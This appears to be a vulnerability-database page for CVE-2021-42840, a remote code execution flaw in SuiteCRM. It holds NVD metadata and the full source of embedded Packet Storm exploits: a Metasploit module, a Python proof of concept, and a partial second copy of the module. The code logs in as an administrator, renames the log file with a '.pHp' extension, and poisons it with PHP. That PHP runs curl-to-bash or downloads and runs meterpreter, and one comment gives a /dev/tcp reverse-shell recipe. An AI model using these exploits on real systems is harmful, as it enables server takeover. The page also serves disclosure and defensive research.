Description
SuiteCRM before 7.11.19 allows remote code execution via the system settings Log File Name setting. In certain circumstances involving admin account takeover, logger_file_name can refer to an attacker-controlled PHP file under the web root, because only the all-lowercase PHP file extensions were blocked. NOTE: this issue exists because of an incomplete fix for CVE-2020-28328.
Affected Software
Related
{"id": "CVE-2021-42840", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-42840", "description": "SuiteCRM before 7.11.19 allows remote code execution via the system settings Log File Name setting. In certain circumstances involving admin account takeover, logger_file_name can refer to an attacker-controlled PHP file under the web root, because only the all-lowercase PHP file extensions were blocked. NOTE: this issue exists because of an incomplete fix for CVE-2020-28328.", "published": "2021-10-22T19:15:00", "modified": "2021-11-30T20:27:00", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0}, "severity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-42840", "reporter": "cve@mitre.org", "references": ["https://github.com/rapid7/metasploit-framework/commits/master/modules/exploits/linux/http/suitecrm_log_file_rce.rb", "https://docs.suitecrm.com/admin/releases/7.11.x/#_7_11_19", "https://suitecrm.com/time-to-upgrade-suitecrm-7-11-19-7-10-30-lts-released/", "https://theyhack.me/SuiteCRM-RCE-2/", "http://packetstormsecurity.com/files/165001/SuiteCRM-7.11.18-Remote-Code-Execution.html"], "cvelist": ["CVE-2020-28328", "CVE-2021-42840"], "immutableFields": [], "lastseen": "2022-03-23T19:36:23", "viewCount": 32, "enchantments": {"dependencies": {"references": [{"type": "checkpoint_advisories", "idList": ["CPAI-2020-1233"]}, {"type": "cve", "idList": ["CVE-2020-28328"]}, {"type": "exploitdb", "idList": ["EDB-ID:49001"]}, {"type": "githubexploit", "idList": ["014D2C3F-933E-5FFE-9789-A8CD6207F2AF"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:159937", "PACKETSTORM:162975", "PACKETSTORM:165001"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:49C11C8B86F2103B22B6AB56B8F8E3B9"]}, {"type": "zdt", "idList": ["1337DAY-ID-36361", "1337DAY-ID-37054"]}]}, "score": {"value": 4.7, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2020-28328"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:165001"]}, {"type": "zdt", "idList": ["1337DAY-ID-37054"]}]}, "exploitation": null, "vulnersScore": 4.7}, "_state": {"dependencies": 0, "score": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-434"], "affectedSoftware": [{"cpeName": "salesagility:suitecrm", "version": "7.11.19", "operator": "lt", "name": "salesagility suitecrm"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:salesagility:suitecrm:7.11.19:*:*:*:*:*:*:*", "versionEndExcluding": "7.11.19", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://github.com/rapid7/metasploit-framework/commits/master/modules/exploits/linux/http/suitecrm_log_file_rce.rb", "name": "https://github.com/rapid7/metasploit-framework/commits/master/modules/exploits/linux/http/suitecrm_log_file_rce.rb", "refsource": "MISC", "tags": ["Third Party Advisory"]}, {"url": "https://docs.suitecrm.com/admin/releases/7.11.x/#_7_11_19", "name": "https://docs.suitecrm.com/admin/releases/7.11.x/#_7_11_19", "refsource": "MISC", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://suitecrm.com/time-to-upgrade-suitecrm-7-11-19-7-10-30-lts-released/", "name": "https://suitecrm.com/time-to-upgrade-suitecrm-7-11-19-7-10-30-lts-released/", "refsource": "MISC", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://theyhack.me/SuiteCRM-RCE-2/", "name": "https://theyhack.me/SuiteCRM-RCE-2/", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/165001/SuiteCRM-7.11.18-Remote-Code-Execution.html", "name": "http://packetstormsecurity.com/files/165001/SuiteCRM-7.11.18-Remote-Code-Execution.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}
{"packetstorm": [{"lastseen": "2021-11-17T17:16:34", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-17T00:00:00", "type": "packetstorm", "title": "SuiteCRM 7.11.18 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28320", "CVE-2020-28328", "CVE-2021-42840"], "modified": "2021-11-17T00:00:00", "id": "PACKETSTORM:165001", "href": "https://packetstormsecurity.com/files/165001/SuiteCRM-7.11.18-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = GoodRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::Remote::CmdStager \ninclude Msf::Exploit::FileDropper \nprepend Msf::Exploit::Remote::AutoCheck \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'SuiteCRM Log File Remote Code Execution', \n'Description' => %q{ \nThis module exploits an input validation error on the log file extension parameter. It does \nnot properly validate upper/lower case characters. Once this occurs, the application log file \nwill be treated as a php file. The log file can then be populated with php code by changing the \nusername of a valid user, as this info is logged. The php code in the file can then be executed \nby sending an HTTP request to the log file. A similar issue was reported by the same researcher \nwhere a blank file extension could be supplied and the extension could be provided in the file \nname. This exploit will work on those versions as well, and those references are included. \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n'M. Cory Billington' # @_th3y \n], \n'References' => [ \n['CVE', '2021-42840'], \n['CVE', '2020-28328'], # First CVE \n['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue. \n['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit \n['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit \n], \n'Platform' => %w[linux unix], \n'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86], \n'Targets' => [ \n[ \n'Linux (x64)', { \n'Arch' => ARCH_X64, \n'Platform' => 'linux', \n'DefaultOptions' => { \n'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' \n} \n} \n], \n[ \n'Linux (cmd)', { \n'Arch' => ARCH_CMD, \n'Platform' => 'unix', \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_bash' \n} \n} \n] \n], \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'Reliability' => [REPEATABLE_SESSION] \n}, \n'Privileged' => true, \n'DisclosureDate' => '2021-04-28', \n'DefaultTarget' => 0 \n) \n) \n \nregister_options( \n[ \nOptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']), \nOptString.new('USER', [true, 'Username of user with administrative rights', 'admin']), \nOptString.new('PASS', [true, 'Password for administrator', 'admin']), \nOptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]), \nOptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']), \nOptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin']) \n] \n) \nend \n \ndef check \nauthenticate unless @authenticated \nreturn Exploit::CheckCode::Unknown unless @authenticated \n \nversion_check_request = send_request_cgi( \n{ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, 'index.php'), \n'keep_cookies' => true, \n'vars_get' => { \n'module' => 'Home', \n'action' => 'About' \n} \n} \n) \n \nreturn Exploit::CheckCode::Unknown(\"#{peer} - Connection timed out\") unless version_check_request \n \nversion_match = version_check_request.body[/ \nVersion \n\\s \n\\d{1} # Major revision \n\\. \n\\d{1,2} # Minor revision \n\\. \n\\d{1,2} # Bug fix release \n/x] \n \nversion = version_match.partition(' ').last \n \nif version.nil? || version.empty? \nabout_url = \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About\" \nreturn Exploit::CheckCode::Unknown(\"Check #{about_url} to confirm version.\") \nend \n \npatched_version = Rex::Version.new('7.11.18') \ncurrent_version = Rex::Version.new(version) \n \nreturn Exploit::CheckCode::Appears(\"SuiteCRM #{version}\") if current_version <= patched_version \n \nExploit::CheckCode::Safe(\"SuiteCRM #{version}\") \nend \n \ndef authenticate \nprint_status(\"Authenticating as #{datastore['USER']}\") \ninitial_req = send_request_cgi( \n{ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'keep_cookies' => true, \n'vars_get' => { \n'module' => 'Users', \n'action' => 'Login' \n} \n} \n) \n \nreturn false unless initial_req && initial_req.code == 200 \n \nlogin = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'keep_cookies' => true, \n'vars_post' => { \n'module' => 'Users', \n'action' => 'Authenticate', \n'return_module' => 'Users', \n'return_action' => 'Login', \n'user_name' => datastore['USER'], \n'username_password' => datastore['PASS'], \n'Login' => 'Log In' \n} \n} \n) \n \nreturn false unless login && login.code == 302 \n \nres = send_request_cgi( \n{ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'keep_cookies' => true, \n'vars_get' => { \n'module' => 'Administration', \n'action' => 'index' \n} \n} \n) \n \nauth_succeeded?(res) \nend \n \ndef auth_succeeded?(res) \nreturn false unless res \n \nif res.code == 200 \nprint_good(\"Authenticated as: #{datastore['USER']}\") \nif res.body.include?('Unauthorized access to administration.') \nprint_warning(\"#{datastore['USER']} does not have administrative rights! Exploit will fail.\") \n@is_admin = false \nelse \nprint_good(\"#{datastore['USER']} has administrative rights.\") \n@is_admin = true \nend \n@authenticated = true \nreturn true \nelse \nprint_error(\"Failed to authenticate as: #{datastore['USER']}\") \nreturn false \nend \nend \n \ndef post_log_file(data) \nsend_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'ctype' => \"multipart/form-data; boundary=#{data.bound}\", \n'keep_cookies' => true, \n'headers' => { \n'Referer' => \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView\" \n}, \n'data' => data.to_s \n} \n) \nend \n \ndef modify_system_settings_file \nfilename = rand_text_alphanumeric(8).to_s \nextension = '.pHp' \n@php_fname = filename + extension \naction = 'Modify system settings file' \nprint_status(\"Trying - #{action}\") \n \ndata = Rex::MIME::Message.new \ndata.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('Configurator', nil, nil, 'form-data; name=\"module\"') \ndata.add_part(filename.to_s, nil, nil, 'form-data; name=\"logger_file_name\"') \ndata.add_part(extension.to_s, nil, nil, 'form-data; name=\"logger_file_ext\"') \ndata.add_part('info', nil, nil, 'form-data; name=\"logger_level\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"save\"') \n \nres = post_log_file(data) \ncheck_logfile_request(res, action) \nend \n \ndef poison_log_file \naction = 'Poison log file' \nif target.arch.first == 'cmd' \ncommand_injection = \"<?php `curl #{@download_url} | bash`; ?>\" \nelse \n@meterpreter_fname = \"#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}\" \ncommand_injection = %( \n<?php `curl #{@download_url} -o #{@meterpreter_fname}; \n/bin/chmod 700 #{@meterpreter_fname}; \n/bin/sh -c #{@meterpreter_fname};`; ?> \n) \nend \n \nprint_status(\"Trying - #{action}\") \n \ndata = Rex::MIME::Message.new \ndata.add_part('Users', nil, nil, 'form-data; name=\"module\"') \ndata.add_part('1', nil, nil, 'form-data; name=\"record\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('EditView', nil, nil, 'form-data; name=\"page\"') \ndata.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"') \ndata.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"') \ndata.add_part(command_injection, nil, nil, 'form-data; name=\"last_name\"') \n \nres = post_log_file(data) \ncheck_logfile_request(res, action) \nend \n \ndef restore \naction = 'Restore logging to default configuration' \nprint_status(\"Trying - #{action}\") \n \ndata = Rex::MIME::Message.new \ndata.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('Configurator', nil, nil, 'form-data; name=\"module\"') \ndata.add_part('suitecrm', nil, nil, 'form-data; name=\"logger_file_name\"') \ndata.add_part('.log', nil, nil, 'form-data; name=\"logger_file_ext\"') \ndata.add_part('fatal', nil, nil, 'form-data; name=\"logger_level\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"save\"') \n \npost_log_file(data) \n \ndata = Rex::MIME::Message.new \ndata.add_part('Users', nil, nil, 'form-data; name=\"module\"') \ndata.add_part('1', nil, nil, 'form-data; name=\"record\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('EditView', nil, nil, 'form-data; name=\"page\"') \ndata.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"') \ndata.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"') \ndata.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name=\"last_name\"') \n \nres = post_log_file(data) \n \nprint_error(\"Failed - #{action}\") unless res && res.code == 301 \n \nprint_good(\"Succeeded - #{action}\") \nend \n \ndef check_logfile_request(res, action) \nfail_with(Failure::Unknown, \"#{action} - no reply\") unless res \n \nunless res.code == 301 \nprint_error(\"Failed - #{action}\") \nfail_with(Failure::UnexpectedReply, \"Failed - #{action}\") \nend \n \nprint_good(\"Succeeded - #{action}\") \nend \n \ndef execute_php \nprint_status(\"Executing php code in log file: #{@php_fname}\") \nres = send_request_cgi( \n{ \n'uri' => normalize_uri(target_uri, @php_fname), \n'keep_cookies' => true \n} \n) \nfail_with(Failure::NotFound, \"#{peer} - Not found: #{@php_fname}\") if res && res.code == 404 \nregister_files_for_cleanup(@php_fname) \nregister_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty? \nend \n \ndef on_request_uri(cli, _request) \nsend_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' }) \nprint_good(\"#{peer} - Payload sent!\") \nend \n \ndef start_http_server \nstart_service( \n{ \n'Uri' => { \n'Proc' => proc do |cli, req| \non_request_uri(cli, req) \nend, \n'Path' => resource_uri \n} \n} \n) \n@download_url = get_uri \nend \n \ndef exploit \nstart_http_server \nauthenticate unless @authenticated \nfail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated \nfail_with(Failure::NoAccess, \"#{datastore['USER']} does not have administrative rights!\") unless @is_admin \nmodify_system_settings_file \npoison_log_file \nexecute_php \nensure \nrestore if datastore['RESTORECONF'] \nend \nend \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/165001/suitecrm71118-exec.rb.txt", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-11-09T18:58:55", "description": "", "cvss3": {}, "published": "2020-11-09T00:00:00", "type": "packetstorm", "title": "SuiteCRM 7.11.15 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-28328"], "modified": "2020-11-09T00:00:00", "id": "PACKETSTORM:159937", "href": "https://packetstormsecurity.com/files/159937/SuiteCRM-7.11.15-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: SuiteCRM 7.11.15 - 'last_name' Remote Code Execution (Authenticated) \n# Date: 08 NOV 2020 \n# Exploit Author: M. Cory Billington (@_th3y) \n# Vendor Homepage: https://suitecrm.com/ \n# Software Link: https://github.com/salesagility/SuiteCRM \n# Version: 7.11.15 and below \n# Tested on: Ubuntu 20.04 LTS \n# CVE: CVE-2020-28328 \n# Writeup: https://github.com/mcorybillington/SuiteCRM-RCE \n \nfrom requests import Session \nfrom random import choice \nfrom string import ascii_lowercase \n \nurl = \"http://127.0.0.1/\" # URL to remote host web root \npost_url = \"{url}index.php\".format(url=url) \nuser_name = \"admin\" # User must be an administrator \npassword = \"admin\" \nprefix = 'shell-' \nfile_name = '{prefix}{rand}.php'.format( \nprefix=prefix, \nrand=''.join(choice(ascii_lowercase) for _ in range(6)) \n) \n \n# *Recommend K.I.S.S as some characters are escaped* \n# Example for reverse shell: \n# Put 'bash -c '(bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)&' inside a file named shell.sh \n# Stand up a python web server `python -m http.server 80` hosting shell.sh \n# Set a nc listener to catch the shell 'nc -nlvp 8080' \ncommand = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name) \n \n# Admin login payload \nlogin_data = { \n\"module\": \"Users\", \n\"action\": \"Authenticate\", \n\"return_module\": \"Users\", \n\"return_action\": \"Login\", \n\"user_name\": user_name, \n\"username_password\": password, \n\"Login\": \"Log+In\" \n} \n \n# Payload to set logging to 'info' and create a log file in php format. \nmodify_system_settings_data = { \n\"action\": (None, \"SaveConfig\"), \n\"module\": (None, \"Configurator\"), \n\"logger_file_name\": (None, file_name), # Set file extension in the file name as it isn't checked here \n\"logger_file_ext\": (None, ''), # Bypasses file extension check by just not setting one. \n\"logger_level\": (None, \"info\"), # This is important for your php code to make it into the logs \n\"save\": (None, \"Save\") \n} \n \n# Payload to put php code into the malicious log file \npoison_log = { \n\"module\": (None, \"Users\"), \n\"record\": (None, \"1\"), \n\"action\": (None, \"Save\"), \n\"page\": (None, \"EditView\"), \n\"return_action\": (None, \"DetailView\"), \n\"user_name\": (None, user_name), \n\"last_name\": (None, command), \n} \n \n# Payload to restore the log file settings to default after the exploit runs \nrestore_log = { \n\"action\": (None, \"SaveConfig\"), \n\"module\": (None, \"Configurator\"), \n\"logger_file_name\": (None, \"suitecrm\"), # Default log file name \n\"logger_file_ext\": (None, \".log\"), # Default log file extension \n\"logger_level\": (None, \"fatal\"), # Default log file setting \n\"save\": (None, \"Save\") \n} \n \n# Start of exploit \nwith Session() as s: \n \n# Authenticating as the administrator \ns.get(post_url, params={'module': 'Users', 'action': 'Login'}) \nprint('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID']) \ns.post(post_url, data=login_data) \nif 'ck_login_id_20' not in s.cookies.get_dict().keys(): \nprint('[-] Invalid password for: {user}'.format(user=user_name)) \nexit(1) \nprint('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format( \nuser=user_name, \ncookie=s.cookies.get_dict()['PHPSESSID']) \n) \n \n# Modify the system settings to set logging to 'info' and create a log file in php format \nprint('[+] Modifying log level and log file name.') \nprint('[+] File name will be: {fname}'.format(fname=file_name)) \nsettings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)} \ns.post(post_url, headers=settings_header, files=modify_system_settings_data) \n \n# Post to update the administrator's last name with php code that will poison the log file \nprint('[+] Poisoning log file with php code: {cmd}'.format(cmd=command)) \ncommand_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)} \ns.post(url, headers=command_header, files=poison_log) \n \n# May be a good idea to put a short delay in here to allow your code to make it into the logfile. \n# Up to you though... \n \n# Do a get request to trigger php code execution. \nprint('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name)) \nexecute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1) \nif not execute_command.ok: \nprint('[-] Exploit failed, sorry... Might have to do some modifications.') \n \n# Restoring log file to default \nprint('[+] Setting log back to defaults') \ns.post(post_url, headers=settings_header, files=restore_log) \n \nprint('[+] Done. Clean up {fname} if you care...'.format(fname=file_name)) \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/159937/suitecrm71115-exec.txt", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-06-04T16:20:13", "description": "", "cvss3": {}, "published": "2021-06-04T00:00:00", "type": "packetstorm", "title": "SuiteCRM Log File Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-28320", "CVE-2020-28328"], "modified": "2021-06-04T00:00:00", "id": "PACKETSTORM:162975", "href": "https://packetstormsecurity.com/files/162975/SuiteCRM-Log-File-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = GoodRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::Remote::CmdStager \ninclude Msf::Exploit::FileDropper \nprepend Msf::Exploit::Remote::AutoCheck \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'SuiteCRM Log File Remote Code Execution', \n'Description' => %q{ \nThis module exploits an input validation error on the log file extension parameter. It does \nnot properly validate upper/lower case characters. Once this occurs, the application log file \nwill be treated as a php file. The log file can then be populated with php code by changing the \nusername of a valid user, as this info is logged. The php code in the file can then be executed \nby sending an HTTP request to the log file. A similar issue was reported by the same researcher \nwhere a blank file extension could be supplied and the extension could be provided in the file \nname. This exploit will work on those versions as well, and those references are included. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'M. Cory Billington' # @_th3y \n], \n'References' => \n[ \n['CVE', '2020-28328'], # First CVE \n['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue. \n['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit \n['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit \n], \n'Platform' => %w[linux unix], \n'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86], \n'Targets' => \n[ \n[ \n'Linux (x64)', { \n'Arch' => ARCH_X64, \n'Platform' => 'linux', \n'DefaultOptions' => { \n'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' \n} \n} \n], \n[ \n'Linux (cmd)', { \n'Arch' => ARCH_CMD, \n'Platform' => 'unix', \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_bash' \n} \n} \n] \n], \n'Notes' => \n{ \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'Reliability' => [REPEATABLE_SESSION] \n}, \n'Privileged' => true, \n'DisclosureDate' => '2021-04-28', \n'DefaultTarget' => 0 \n) \n) \n \nregister_options( \n[ \nOptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']), \nOptString.new('USER', [true, 'Username of user with administrative rights', 'admin']), \nOptString.new('PASS', [true, 'Password for administrator', 'admin']), \nOptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]), \nOptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']), \nOptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin']) \n] \n) \nend \n \ndef check \nauthenticate unless @authenticated \nreturn Exploit::CheckCode::Unknown unless @authenticated \n \nversion_check_request = send_request_cgi( \n{ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, 'index.php'), \n'keep_cookies' => true, \n'vars_get' => { \n'module' => 'Home', \n'action' => 'About' \n} \n} \n) \n \nreturn Exploit::CheckCode::Unknown(\"#{peer} - Connection timed out\") unless version_check_request \n \nversion_match = version_check_request.body[/ \nVersion \n\\s \n\\d{1} # Major revision \n\\. \n\\d{1,2} # Minor revision \n\\. \n\\d{1,2} # Bug fix release \n/x] \n \nversion = version_match.partition(' ').last \n \nif version.nil? || version.empty? \nabout_url = \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About\" \nreturn Exploit::CheckCode::Unknown(\"Check #{about_url} to confirm version.\") \nend \n \npatched_version = Rex::Version.new('7.11.18') \ncurrent_version = Rex::Version.new(version) \n \nreturn Exploit::CheckCode::Appears(\"SuiteCRM #{version}\") if current_version <= patched_version \n \nExploit::CheckCode::Safe(\"SuiteCRM #{version}\") \nend \n \ndef authenticate \nprint_status(\"Authenticating as #{datastore['USER']}\") \ninitial_req = send_request_cgi( \n{ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'keep_cookies' => true, \n'vars_get' => { \n'module' => 'Users', \n'action' => 'Login' \n} \n} \n) \n \nreturn false unless initial_req && initial_req.code == 200 \n \nlogin = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'keep_cookies' => true, \n'vars_post' => { \n'module' => 'Users', \n'action' => 'Authenticate', \n'return_module' => 'Users', \n'return_action' => 'Login', \n'user_name' => datastore['USER'], \n'username_password' => datastore['PASS'], \n'Login' => 'Log In' \n} \n} \n) \n \nreturn false unless login && login.code == 302 \n \nres = send_request_cgi( \n{ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'keep_cookies' => true, \n'vars_get' => { \n'module' => 'Administration', \n'action' => 'index' \n} \n} \n) \n \nauth_succeeded?(res) \nend \n \ndef auth_succeeded?(res) \nreturn false unless res \n \nif res.code == 200 \nprint_good(\"Authenticated as: #{datastore['USER']}\") \nif res.body.include?('Unauthorized access to administration.') \nprint_warning(\"#{datastore['USER']} does not have administrative rights! Exploit will fail.\") \n@is_admin = false \nelse \nprint_good(\"#{datastore['USER']} has administrative rights.\") \n@is_admin = true \nend \n@authenticated = true \nreturn true \nelse \nprint_error(\"Failed to authenticate as: #{datastore['USER']}\") \nreturn false \nend \nend \n \ndef post_log_file(data) \nsend_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri, 'index.php'), \n'ctype' => \"multipart/form-data; boundary=#{data.bound}\", \n'keep_cookies' => true, \n'headers' => { \n'Referer' => \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView\" \n}, \n'data' => data.to_s \n} \n) \nend \n \ndef modify_system_settings_file \nfilename = rand_text_alphanumeric(8).to_s \nextension = '.pHp' \n@php_fname = filename + extension \naction = 'Modify system settings file' \nprint_status(\"Trying - #{action}\") \n \ndata = Rex::MIME::Message.new \ndata.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('Configurator', nil, nil, 'form-data; name=\"module\"') \ndata.add_part(filename.to_s, nil, nil, 'form-data; name=\"logger_file_name\"') \ndata.add_part(extension.to_s, nil, nil, 'form-data; name=\"logger_file_ext\"') \ndata.add_part('info', nil, nil, 'form-data; name=\"logger_level\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"save\"') \n \nres = post_log_file(data) \ncheck_logfile_request(res, action) \nend \n \ndef poison_log_file \naction = 'Poison log file' \nif target.arch.first == 'cmd' \ncommand_injection = \"<?php `curl #{@download_url} | bash`; ?>\" \nelse \n@meterpreter_fname = \"#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}\" \ncommand_injection = %( \n<?php `curl #{@download_url} -o #{@meterpreter_fname}; \n/bin/chmod 700 #{@meterpreter_fname}; \n/bin/sh -c #{@meterpreter_fname};`; ?> \n) \nend \n \nprint_status(\"Trying - #{action}\") \n \ndata = Rex::MIME::Message.new \ndata.add_part('Users', nil, nil, 'form-data; name=\"module\"') \ndata.add_part('1', nil, nil, 'form-data; name=\"record\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('EditView', nil, nil, 'form-data; name=\"page\"') \ndata.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"') \ndata.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"') \ndata.add_part(command_injection, nil, nil, 'form-data; name=\"last_name\"') \n \nres = post_log_file(data) \ncheck_logfile_request(res, action) \nend \n \ndef restore \naction = 'Restore logging to default configuration' \nprint_status(\"Trying - #{action}\") \n \ndata = Rex::MIME::Message.new \ndata.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('Configurator', nil, nil, 'form-data; name=\"module\"') 